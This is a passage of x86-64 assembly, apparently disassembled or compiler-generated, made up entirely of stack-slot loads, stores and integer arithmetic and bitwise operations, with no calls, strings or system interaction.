mov rax, qword [rsp + 0x9488]
mov rcx, qword [rsp + 0x9080]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xacd8], rax
movzx eax, word [rsp + 0x10c8]
mov word [rsp + 0x1498], ax
mov rax, qword [rsp + 0x9718]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1144]
sub eax, ecx
mov word [0x1401e70d8], ax
movzx eax, byte [rsp + 0xea]
mov rcx, qword [0x1401e8848]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19f], al
lea rax, [rsp + 0xd8]
mov qword [rsp + 0xb578], rax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x9ef0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9760]
mov rcx, qword [rsp + 0x92b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5234], eax
lea rax, [rsp + 0x4f84]
mov qword [rsp + 0xb580], rax
mov rax, qword [rsp + 0xa700]
movzx ecx, al
mov rax, qword [rsp + 0x9440]
shr rax, cl
mov rcx, qword [rsp + 0xb1c8]
mov qword [rcx], rax
lea rax, [0x1401e7010]
mov qword [rsp + 0xb588], rax
mov rax, qword [rsp + 0x9898]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f68]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x97b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0x149]
shl eax, cl
mov byte [0x1401e87e3], al
mov rax, qword [0x1401e8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
xor eax, ecx
mov rcx, qword [rsp + 0xab28]
mov word [rcx], ax
mov rax, qword [rsp + 0xa1f8]
movzx eax, word [rax]
mov word [rsp + 0x149c], ax
movsx eax, word [rsp + 0x1094]
mov rcx, qword [rsp + 0x8f00]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov word [rcx], ax
lea rax, [0x1401e7010]
mov qword [rsp + 0xb590], rax
mov eax, dword [rsp + 0x4e2c]
mov ecx, dword [rsp + 0x5268]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaad8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x51f4]
mov dword [rsp + 0x5278], eax
mov rax, qword [rsp + 0x93f8]
mov rcx, qword [rsp + 0xa950]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb080], rax
movzx eax, word [rsp + 0x1298]
mov rcx, qword [rsp + 0xa678]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb0d0]
mov word [rcx], ax
lea rax, [rsp + 0xa0]
mov qword [0x1401e8cf0], rax
lea rax, [rsp + 0x149]
mov qword [rsp + 0xb598], rax
mov rax, qword [rsp + 0xa720]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10c0]
sub eax, ecx
mov rcx, qword [rsp + 0xa398]
mov word [rcx], ax
mov rax, qword [rsp + 0x9338]
movzx eax, byte [rax]
mov byte [rsp + 0x1ad], al
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [0x1401e8b38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0xa4c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ff0], eax
mov rax, qword [rsp + 0x92f0]
mov eax, dword [rax]
mov dword [rsp + 0x527c], eax
mov rax, qword [rsp + 0xb110]
mov rcx, qword [rsp + 0xadf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9488]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov qword [rsp + 0xb5a0], rax
lea rax, [rsp + 0x1ab]
mov qword [0x1401e8cf8], rax
movsx eax, word [rsp + 0x1248]
movsx ecx, word [rsp + 0x1240]
add eax, ecx
mov word [rsp + 0x12e8], ax
movzx eax, word [rsp + 0x11c4]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1300], ax
lea rax, [rsp + 0x12e0]
mov qword [rsp + 0xb5a8], rax
mov rax, qword [rsp + 0x9b80]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e87a7]
xor eax, ecx
mov rcx, qword [rsp + 0xafa8]
mov byte [rcx], al
lea rax, [rsp + 0x50a8]
mov qword [rsp + 0xb5b0], rax
mov rax, qword [rsp + 0xa8f0]
mov rcx, qword [rsp + 0x8d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9040]
movzx ecx, al
mov rax, qword [rsp + 0x8e98]
shr rax, cl
mov qword [rsp + 0x9b10], rax
lea rax, [rsp + 0x50a0]
mov qword [rsp + 0xb5b8], rax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa230]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e70a0], ax
mov rax, qword [rsp + 0xaa58]
movzx eax, word [rax]
mov rcx, qword [0x1401e8ba8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov word [rcx], ax
lea rax, [rsp + 0x137c]
mov qword [rsp + 0xb5c0], rax
movzx eax, byte [rsp + 0x87]
movzx ecx, byte [rsp + 0x7e]
sub eax, ecx
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0xa6a0]
mov rcx, qword [rsp + 0xaff0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb518]
mov qword [rcx], rax
mov rax, qword [rsp + 0xadc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa768], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xb5c8], rax
mov rax, qword [rsp + 0xad48]
mov ecx, dword [rsp + 0x4f18]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x108c]
mov rcx, qword [rsp + 0x8ea8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e712c], ax
movzx eax, word [rsp + 0x1234]
mov word [rsp + 0x14a0], ax
movsx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x97f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfa], al
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x9560]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
movzx eax, byte [0x1401e705a]
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0xaba0]
mov rcx, qword [rsp + 0xad80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9398], rax
lea rax, [rsp + 0x4e2c]
mov qword [rsp + 0xb5d0], rax
mov rax, qword [rsp + 0x94b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8df8]
mov qword [rsp + 0xb5d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9468], rax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5230]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x100c]
movsx ecx, word [rsp + 0x1080]
or eax, ecx
mov word [0x1401e8c34], ax
lea rax, [0x1401e7038]
mov qword [rsp + 0xb5e0], rax
movsx eax, byte [rsp + 0x13f]
mov rcx, qword [rsp + 0x9e58]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
mov byte [rsp + 0x1b0], al
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4eac]
mov ecx, dword [rsp + 0x5150]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94a8]
mov qword [rsp + 0xb5e8], rax
mov eax, dword [rsp + 0x4f98]
mov ecx, dword [0x1401e7004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov dword [rcx], eax
lea rax, [rsp + 0xa680]
mov qword [rsp + 0xb5f0], rax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9950]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7130], ax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa2]
add eax, ecx
mov rcx, qword [rsp + 0xa2a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb380]
movzx eax, word [rax]
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0xa298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a9]
sub eax, ecx
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0xa578]
mov eax, dword [rax]
mov dword [rsp + 0x5280], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xa308]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9088]
mov qword [rcx], rax
lea rax, [rsp + 0xb1c0]
mov qword [rsp + 0xb5f8], rax
mov eax, dword [rsp + 0x51e8]
mov ecx, dword [rsp + 0x4ed8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov word [0x1401e88d8], ax
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x19b]
shl eax, cl
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xa658]
movzx eax, word [rax]
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x9b60]
movsx eax, word [rax]
movsx ecx, word [0x1401e70a0]
or eax, ecx
mov word [rsp + 0x109c], ax
movzx eax, word [rsp + 0x1494]
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0xa458]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xab98]
mov qword [rsp + 0xb600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb600]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5070], eax
mov rax, qword [rsp + 0xb3c0]
mov rcx, qword [rsp + 0x8ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xada0]
mov qword [rcx], rax
lea rax, [rsp + 0x4f5c]
mov qword [rsp + 0xb608], rax
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0x8d50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4f0], rax
mov rax, qword [rsp + 0x8e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x147]
add eax, ecx
mov byte [0x1401e7086], al
lea rax, [rsp + 0x164]
mov qword [rsp + 0xb610], rax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1270]
sub eax, ecx
mov word [rsp + 0x1350], ax
lea rax, [rsp + 0x1288]
mov qword [rsp + 0xb618], rax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0xa000]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov byte [rcx], al
mov rax, qword [rsp + 0xa500]
mov rcx, qword [rsp + 0x9e60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xae00]
mov qword [rcx], rax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x5284], eax
mov eax, dword [rsp + 0x5220]
mov ecx, dword [rsp + 0x511c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9eb8]
mov dword [rcx], eax
lea rax, [rsp + 0xa660]
mov qword [rsp + 0xb620], rax
mov rax, qword [rsp + 0x9740]
movsx eax, word [rax]
mov rcx, qword [0x1401e88b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xffc], ax
lea rax, [rsp + 0x1498]
mov qword [0x1401e8d00], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa7]
and eax, ecx
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x185]
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa1b8]
mov word [rcx], ax
lea rax, [rsp + 0xaf38]
mov qword [rsp + 0xb628], rax
mov rax, qword [rsp + 0x9ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5110]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x51c0], eax
mov rax, qword [rsp + 0xb2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa328]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b20], rax
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
mov dword [rsp + 0x5288], eax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0xfd]
shl eax, cl
mov byte [rsp + 0x96], al
mov rax, qword [rsp + 0xb1f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e7104], ax
movzx eax, word [rsp + 0x146c]
mov word [rsp + 0x14b0], ax
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e705f]
add eax, ecx
mov rcx, qword [rsp + 0x97a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad20]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa598]
mov byte [rcx], al
mov rax, qword [rsp + 0xb378]
mov qword [rsp + 0xb630], rax
mov eax, dword [rsp + 0x5020]
mov ecx, dword [rsp + 0x4fe8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e74], eax
mov rax, qword [rsp + 0x8ee8]
mov rax, qword [rax]
mov qword [rsp + 0xb638], rax
mov rax, qword [rsp + 0xb188]
mov ecx, dword [rsp + 0x4fd0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0xb118]
movzx eax, word [rax]
mov word [rsp + 0x14b4], ax
lea rax, [rsp + 0x105]
mov qword [0x1401e8d08], rax
mov rax, qword [rsp + 0xace8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xff]
add eax, ecx
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0xa3a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x9c88]
movzx eax, word [rax]
mov word [rsp + 0x14b8], ax
mov eax, dword [rsp + 0x4eb4]
mov ecx, dword [rsp + 0x5270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d90], eax
lea rax, [rsp + 0x98b8]
mov qword [rsp + 0xb640], rax
mov rax, qword [rsp + 0x9dd8]
mov rcx, qword [rsp + 0xa318]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x8d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6a0], rax
movzx eax, word [rsp + 0x126c]
mov word [rsp + 0x14bc], ax
mov rax, qword [0x1401e87c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb4f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e708f], al
mov rax, qword [rsp + 0xa418]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x9aa0]
movzx eax, word [rax]
mov word [rsp + 0x14c0], ax
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92c0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0xb068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1294], ax
lea rax, [0x1401e7008]
mov qword [rsp + 0xb648], rax
mov rax, qword [rsp + 0x9eb8]
mov ecx, dword [rsp + 0x4e6c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5234], eax
lea rax, [rsp + 0xaf38]
mov qword [rsp + 0xb650], rax
mov rax, qword [rsp + 0xad00]
mov rcx, qword [rsp + 0x9a08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5f8], rax
movsx eax, word [rsp + 0x14a4]
movsx ecx, word [rsp + 0x1404]
sub eax, ecx
mov word [0x1401e7090], ax
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x1b2], al
movsx eax, byte [rsp + 0x12c]
movsx ecx, byte [0x1401e708a]
and eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x8f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9568]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x1b3], al
mov rax, qword [rsp + 0x9a18]
mov ecx, dword [rsp + 0x5200]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x525c], eax
mov rax, qword [rsp + 0xb5f8]
mov rax, qword [rax]
mov qword [rsp + 0xb658], rax
mov rax, qword [rsp + 0xab18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fa4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0x9e18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0xb0d0]
movzx eax, word [rax]
mov word [0x1401e8d10], ax
lea rax, [rsp + 0x12f8]
mov qword [rsp + 0xb660], rax
mov rax, qword [rsp + 0x98d8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8818]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x105], al
movzx eax, byte [rsp + 0x183]
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0x97f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b70]
mov word [rcx], ax
mov eax, dword [rsp + 0x5048]
mov ecx, dword [rsp + 0x5170]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x9418]
mov rax, qword [rax]
mov qword [rsp + 0xb668], rax
mov rax, qword [rsp + 0xb398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5264]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6a0]
mov qword [rsp + 0xb670], rax
mov rax, qword [rsp + 0x8ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
shl eax, cl
mov rcx, qword [0x1401e88e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb158]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b3], al
mov rax, qword [0x1401e8a20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
or eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
movzx eax, word [rsp + 0x10c8]
mov word [rsp + 0x14c4], ax
movsx eax, word [rsp + 0x14c0]
movsx ecx, word [rsp + 0x1448]
xor eax, ecx
mov word [rsp + 0x1170], ax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x528c], eax
mov rax, qword [rsp + 0xaa60]
mov rcx, qword [rsp + 0x8e90]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9048]
mov qword [rsp + 0xb678], rax
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x4f3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea8], eax
lea rax, [rsp + 0x1074]
mov qword [0x1401e8d18], rax
mov rax, qword [rsp + 0x9420]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17f]
sub eax, ecx
mov byte [rsp + 0xfe], al
lea rax, [rsp + 0x161]
mov qword [rsp + 0xb680], rax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x10f0]
and eax, ecx
mov word [rsp + 0x129c], ax
lea rax, [rsp + 0xf2]
mov qword [rsp + 0xb688], rax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x93b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0xa420]
mov rcx, qword [rsp + 0x8fc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov dword [rsp + 0x5290], eax
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ff0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa310]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaff8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7074], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0xb428]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0xb618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13c0]
shl eax, cl
mov word [rsp + 0x11ec], ax
movzx eax, word [rsp + 0x12a4]
mov word [rsp + 0x14c8], ax
mov eax, dword [rsp + 0x5174]
cdq
idiv dword [rsp + 0x50bc]
mov dword [rsp + 0x50d8], eax
lea rax, [rsp + 0x9cc0]
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0xa2f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0xb5b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9c50]
mov qword [rsp + 0xb698], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb698]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa170]
mov dword [rcx], eax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x1360]
xor eax, ecx
mov word [0x1401e7114], ax
lea rax, [rsp + 0x13d4]
mov qword [rsp + 0xb6a0], rax
movzx eax, word [rsp + 0x14c4]
movzx ecx, word [rsp + 0x10b4]
and eax, ecx
mov word [rsp + 0x13c8], ax
movzx eax, byte [rsp + 0xad]
mov byte [rsp + 0x1b6], al
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9930]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0xb130]
mov rax, qword [rax]
mov qword [rsp + 0xb6a8], rax
mov rax, qword [rsp + 0x8e28]
mov ecx, dword [rsp + 0x4e70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0xa288]
mov rcx, qword [rsp + 0x9a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb620]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4e8]
mov eax, dword [rax]
mov dword [rsp + 0x5294], eax
movsx eax, word [rsp + 0x13d4]
movsx ecx, word [rsp + 0x1130]
sub eax, ecx
mov word [0x1401e7134], ax
movzx eax, word [rsp + 0x1274]
mov rcx, qword [rsp + 0x9b70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1330], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0x99f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ce8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e7057]
add eax, ecx
mov byte [rsp + 0x8b], al
lea rax, [rsp + 0x4f84]
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0x95c0]
mov ecx, dword [rsp + 0x4f38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5188], eax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov qword [rsp + 0xb6b8], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xa3f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0x9788]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12a8]
shl eax, cl
mov word [rsp + 0x13d0], ax
lea rax, [rsp + 0x1044]
mov qword [0x1401e8d20], rax
lea rax, [rsp + 0x97]
mov qword [rsp + 0xb6c0], rax
mov rax, qword [rsp + 0x9548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9780]
mov byte [rcx], al
lea rax, [rsp + 0x1460]
mov qword [rsp + 0xb6c8], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x51c0]
shr eax, cl
mov dword [rsp + 0x4f7c], eax
mov rax, qword [rsp + 0xa9e8]
mov eax, dword [rax]
mov dword [rsp + 0x5298], eax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0xb4a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x9308]
mov rcx, qword [rsp + 0xa5d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa750]
mov qword [rcx], rax
lea rax, [rsp + 0xda]
mov qword [rsp + 0xb6d0], rax
mov rax, qword [rsp + 0xaa40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e88a8]
mov byte [rcx], al
movsx eax, word [0x1401e70ac]
mov rcx, qword [rsp + 0x9718]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9278]
mov word [rcx], ax
mov rax, qword [rsp + 0x9370]
movzx eax, byte [rax]
mov byte [rsp + 0x1b8], al
movzx eax, word [rsp + 0x108c]
movzx ecx, word [rsp + 0x10dc]
add eax, ecx
mov word [rsp + 0x13c0], ax
mov rax, qword [rsp + 0x9298]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa940]
mov dword [rcx], eax
lea rax, [rsp + 0x9280]
mov qword [rsp + 0xb6d8], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb008]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94f8]
mov eax, dword [rax]
mov dword [rsp + 0x529c], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x172]
and eax, ecx
mov byte [rsp + 0x70], al
lea rax, [rsp + 0x13f4]
mov qword [0x1401e8d28], rax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xb510]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0xaef8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b9], al
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x1200], ax
lea rax, [rsp + 0x4e64]
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xaba0]
mov rcx, qword [rsp + 0xab38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa380]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9330]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x5024]
mov dword [rsp + 0x5114], eax
